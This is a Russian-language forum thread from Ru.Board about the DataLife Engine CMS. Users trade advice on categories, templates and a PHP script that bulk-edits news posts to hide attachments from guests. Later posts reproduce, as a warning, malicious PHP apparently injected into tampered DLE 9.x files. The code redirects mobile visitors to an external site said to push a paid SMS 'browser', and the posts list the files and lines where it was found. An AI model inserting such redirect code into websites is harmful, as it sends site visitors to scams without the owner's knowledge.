Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Тематические » Системы управления сайтами » DataLife Engine (DLE)

Модерирует : Antuan

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

Открыть новую тему     Написать ответ в эту тему

SoftNews

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Смежная тема в Варезнике: - DataLife Engine
 

DataLife Engine - это многофункциональная система управления сайтом. Благодаря очень мощной системе управления новостями, публикациями, статьями, пользователями, DataLife Engine предназначен в первую очередь для организации собственных средств массовой информации и блогов в сети интернет. Большое разнообразие базовых возможностей скрипта, изначально интегрированных в скрипт, позволяют DataLife Engine на шаг вперед опережать своих ближайших конкурентов в данном направлении создания сайтов. А благодаря точной и продуманной структуре ядра, сводящей к минимуму требования к ресурсам сервера, DataLife Engine способен с легкостью работать с высокопосещаемыми проектами c минимальной нагрузкой на сервер. Гибкость и легкость в настройке и интеграции собственного дизайна, позволит вам в кратчайшие сроки изучить и понять структуру шаблонов и соответственно развернуть собственные сайты, без каких-либо дополнительных материальных затрат. Использование продвинутой технологии AJAX сократит как трафик и ресурсы вашего сервера, так и трафик ваших посетителей, не говоря уже об удобстве использования данной технологии на сайте для посетителей вашего сайта. Благодаря повышенному вниманию к безопасности скрипта, к удобству работы с ним, а также динамическому развитию, в пользу использования DataLife Engine уже высказались более 90 000 порталов по всему миру, успешно использующие его в работе. Большое внимание в скрипте уделено оптимизации под поисковые системы, что позволяет привести на ваш сайт дополнительных посетителей.
 
Возможности скрипта
 
DataLife Engine 15.0 Demo: Скачать

Всего записей: 121 | Зарегистр. 19-06-2003 | Отправлено: 23:27 19-01-2005 | Исправлено: Komandor, 16:01 05-01-2022
szepp



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
PAHunter
Может, я торможу, но, дважды перечитав, ничего не понял. Понятно, О ЧЕМ - непонятно, ЧТО. Поясните получше, в чем проблема.
 
Trolzen
Не кипятись! Да, скифы мы, да, марсиане мы. И деньги у нас другие - не те, что у вас - из красного такого камешка сделаны, арбузные семечки напоминают. Ты скажи, я отсыплю, если что. С "Маринером" передам.
 

Всего записей: 182 | Зарегистр. 12-12-2008 | Отправлено: 21:18 20-02-2012
PAHunter

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
szepp
Иерархия категория такова:
Главная категория
-Подкатегория
 
Так вот, если при добавлении новости задаем только подкатегорию, то она начинает отображаться с главной категорией: "Главная категория»Подкатегория"
Как убрать отображение главной категории в новости, если задать при добавлении новости только подкатегорию?

Всего записей: 3 | Зарегистр. 06-04-2010 | Отправлено: 02:59 21-02-2012
szepp



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
PAHunter
Так. Уточню, как понял: сама новость отображается нормально. А вот ее адрес Домен (сайт) / Категория / Подкатегория / Новость - Вас не устраивает. Вам нужно, чтобы при выводе новости отображался адрес Домен  / Подкатегория / Новость. Правильно понимаю?
 
Если правильно, то скажу, что это невозможно. Подкатегория на то и придумана, чтобы отображаться внутри категории со всем своим содержимым в виде новостей. Потому она и "под" - подчиненная.
 
Могу посоветовать включить новость в категорию, а не в подкатегорию - это возможно. Домен (сайт) / Категория / Новость
Второй вариант - сделать новость в виде статической страницы, тогда адрес будет - Домен (сайт) / Новость.html

Всего записей: 182 | Зарегистр. 12-12-2008 | Отправлено: 04:01 21-02-2012
PAHunter

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
szepp
Спасибо за помощь.
Но после того как что-то поделал, а потом проспался, проблема вроде бы устранилась..
 
Странно, теперь есть одна новость где отображается главная категория и подкатегория, а остальные нормально.. пойду удалю ее чтоб не заразила остальных..
 
з.ы. Нет, все таки чудная штука сон..

Всего записей: 3 | Зарегистр. 06-04-2010 | Отправлено: 04:15 21-02-2012
kodex77



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подскажите пожалуйста как скрыть все ссылки (от ФО и аттачменты) от гостей в ранее добавленных новостях ? Прочитал что можно добавить [hide] но как и где именно нужно добавить ? Заранее спасибо. Версия движка DLE 9.5

Всего записей: 196 | Зарегистр. 07-04-2012 | Отправлено: 14:20 08-07-2012
L0T

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
kodex77
Без геморроя, наверное, никак.
Т.е. можно очень просто, насколько я понимаю, запретить скачивать с сервера: Настройка групп пользователей -> Гости -> Редактировать -> Общие настройки -> Разрешить скачивание файлов (Нет).
 
А вот закрыть все ссылки гостям в СТАРЫХ новостях...
Только 2мя способами, наверно:
1) Найти такой хак
2) Внести изменения в сами новости, т.е. заключить ссылки в тэг hide. Но руками (при большом количестве новостей) - трудновато, легче прогнать регэкспами.
 
 
P.S.

Цитата:
но как и где именно нужно добавить

Так:

Код:
[hide]текст для скрытия[/hide]


Всего записей: 280 | Зарегистр. 06-01-2009 | Отправлено: 15:07 08-07-2012 | Исправлено: L0T, 15:09 08-07-2012
kodex77



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
L0T, спасибо за ответ. Но по делу не подходит. Я встречал такое для старых версией, но на 9.5 не работает.
 
Еще как вариант может возможно вообще убрать эти ссылки ?

Всего записей: 196 | Зарегистр. 07-04-2012 | Отправлено: 17:25 08-07-2012
Trolzen

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Короткий и полный текст статей находится в таблице post в полях short_story и full_story. Надо посмотреть, во что превращается [hide] после редактирования, и обернуть в это все <a href...> во всех строках таблицы.

Всего записей: 363 | Зарегистр. 03-12-2006 | Отправлено: 17:44 08-07-2012
L0T

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Надо посмотреть, во что превращается [hide] после редактирования

Ни во что он не превращается, [hide] так и пишется в БД.

Цитата:
Я встречал такое для старых версией, но на 9.5 не работает

Возможно. В 9.2 такое есть, а про 9.5 не знаю.

Цитата:
Еще как вариант может возможно вообще убрать эти ссылки ?

Можно попробовать убрать, можно попробовать изменить на скрытые (hide). Или вручную, или см. п.2 из моего предыдущего ответа.
 
С ручным методом все понятно. Открываешь для редактирования новость, вносишь нужные изменения.
 
Автоматический метод я вижу в таком виде. Скрипт ищет по БД вставки вида [attachment=xx] и меняет их на [hide][attachment=xx][/hide]
 

Всего записей: 280 | Зарегистр. 06-01-2009 | Отправлено: 20:48 08-07-2012
kodex77



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Trolzen, спасибо за ответ.
L0T, спасибо. Но Вы встречали такой скрипт ? Где то можно брать ?

Всего записей: 196 | Зарегистр. 07-04-2012 | Отправлено: 15:51 10-07-2012
L0T

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
kodex77
Нет? не всречал.
 
!!! Вполне возможно, есть хак, выполняющий нужные функии. Нужно искать на порталах по тематике DLE (например, 4dle.ru)
 
 
 
P.S. А скрипт такой написать можно в принципе попытаться...
 
Добавлено:
kodex77
Я не программер, так что могу написать коряво, но вот следующий код (довольно ресурсопрожорливый) сделает замену в БД (в новостях) всех вхождений [attachment=xx] на [hide][attachment=xx][/hide], где xx - одна или более цифр.
 
Лучше, конечно, сначала потестить на копии БД, а то мало ли...

Код:
 
<?php
    $db_host = 'localhost';
    $db_user = 'root';           // имя пользователя БД
    $db_pass = '';                // пароль пользователя к БД
    $db_name = '';              // имя БД
    $res = 'full_story';
    $idres = 'id';
    
    $repl_db_reg =  '/(\[attachment=)(\d+)(\])/i';
    $repl_db_repl = '[hide]$0[/hide]';
    
    $sqlid = @mysql_connect($db_host, $db_user, $db_pass) or die (mysql_error());
    $sqldb = mysql_select_db($db_name);
 
        // Кодировка БД, в данном случае - cp1251. Возможно, у Вас - utf8
    mysql_query("SET NAMES 'cp1251'");
    
    $field = mysql_query('SELECT '.$res.' FROM dle_post ORDER BY id ASC') or die (mysql_error());
    for ($data=array(); $row=mysql_fetch_assoc($field); $data[]=$row);
    
    $id = mysql_query('SELECT '.$idres.' FROM dle_post ORDER BY id ASC') or die (mysql_error());
    for ($iddata=array(); $idrow=mysql_fetch_assoc($id); $iddata[]=$idrow);
    
    for ($i=0; $i<sizeof($data); $i++) {
        $tmp = $data[$i][$res];
        $repl = preg_replace($repl_db_reg, $repl_db_repl, $tmp);
        if ($repl !== $tmp) {$tmp = $repl;}
        if ($tmp !== $data[$i][$res]) {
            mysql_query('UPDATE dle_post SET full_story="'.mysql_escape_string($tmp).'" WHERE id='.$iddata[$i][$idres]) or die (mysql_error());
        }
    }
    echo "DONE";
?>
 

 
 
P.S. Проверил, вроде, работает.

Всего записей: 280 | Зарегистр. 06-01-2009 | Отправлено: 21:41 10-07-2012 | Исправлено: L0T, 02:16 11-07-2012
kodex77



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
L0T, спасибо.

Всего записей: 196 | Зарегистр. 07-04-2012 | Отправлено: 17:40 11-07-2012
chexav

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Здравствуйте. Мой сайт на DLE 9.5 сделан на базе стандартного двухполосного шаблона Default . Я хочу добавить третью колонку справа. Подскажите пожалуйста как это сделать , либо где по этому поводу можно почитать ( желательно подробно). Спасибо.

Всего записей: 13 | Зарегистр. 26-12-2011 | Отправлено: 10:28 19-07-2012
iyda

BANNED
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Уважаемые спецы, подскажите пожалуйста, кто понимает в этом.
Ситуация следующая, стоит DataLife Engine 9.7. Хочу добавить модуль последних комментариев. Перепробовал несколько вариантов, но все выдают ошибку обращения к базе.
В частности последний модуль iComm v.6.0 выдал  
 
А на другом модуле
 
Очень хотелось бы иметь рабочий модуль для вывода последних комментариев, но почему то все имеющиеся не хотят работать на 9.7. С чем это может быть связано?
Может кто рабочим поделится.

Всего записей: 264 | Зарегистр. 26-11-2011 | Отправлено: 03:16 27-09-2012 | Исправлено: iyda, 05:12 27-09-2012
bibirada

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
У меня траблы с картинками. На 9.7. Не уменьшает, а обрезает. То есть делает обрезанную под указанный размер кликабельной, при клике открывается полностью.
Я раньше большие фотки не использовал, а теперь как понадобилось, так и траблы.
Я, конечно, могу в css прописать max размер, чтобы это выглядело симпатично, но тогда они не увеличатся, что не гуд.
Где может быть причина?
Если непонятно обьяснил, то могу скринов накидать.

Всего записей: 345 | Зарегистр. 16-07-2009 | Отправлено: 16:27 29-09-2012
GrayZOR



Full Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
bibirada
Видел я такое, не обязательно скриншоты делать.
Скажу, что изображения имеют не пропорциональный размер в соотношении ширина и размер.  
 
iyda
На фрилэнсе Вам за пять баксов поправят модуль!
 
chexav
CSS+Html. Советую видео-курсы Евгения Попова.

----------
Ru-Board рулит, а Google курит!!!

Всего записей: 421 | Зарегистр. 12-09-2007 | Отправлено: 19:23 29-11-2012
Japonec657



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Нынче с дле такая трабла
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
    header('Location: http://statuses.ws/');
}

Всего записей: 157 | Зарегистр. 29-12-2008 | Отправлено: 19:03 13-01-2013
Trolzen

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Это в какой версии?

Всего записей: 363 | Зарегистр. 03-12-2006 | Отправлено: 02:50 22-01-2013
Japonec657



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Это в какой версии?

Во всех походу
 
Добавлено:
девятая линейка
 
Добавлено:
 
Сообщение с форума разработчика :
======================
Недавно зашел на сайт с мобилы, и был крайне удивлен. Мои почти все сайты предлагают скачать какой то браузер. По слухам он платный около 1000р за смс. Стал искать хвосты. Нашел. ХЗ может кому и поможет.
 
engine\data\config.php
 
 
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
 
 
engine\data\dbconfig.php в самом низу
 
 
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
 
 
 
engine\engine.php
строка 761
 
 
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
 
 
 
engine\init.php
строка 126
 
 
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
 
 
 
index.php
строка 274
 
 
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
==================

Всего записей: 157 | Зарегистр. 29-12-2008 | Отправлено: 05:21 31-01-2013 | Исправлено: Japonec657, 05:25 31-01-2013
Trolzen

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Ты, похоже, левак какой-то скачал. Проверил версии 8.5, 9.0, 9.2, 9.3, 9.4, 9.5, строки "statuses" вообще нигде нет.

Всего записей: 363 | Зарегистр. 03-12-2006 | Отправлено: 07:01 01-02-2013
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

Компьютерный форум Ru.Board » Тематические » Системы управления сайтами » DataLife Engine (DLE)


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru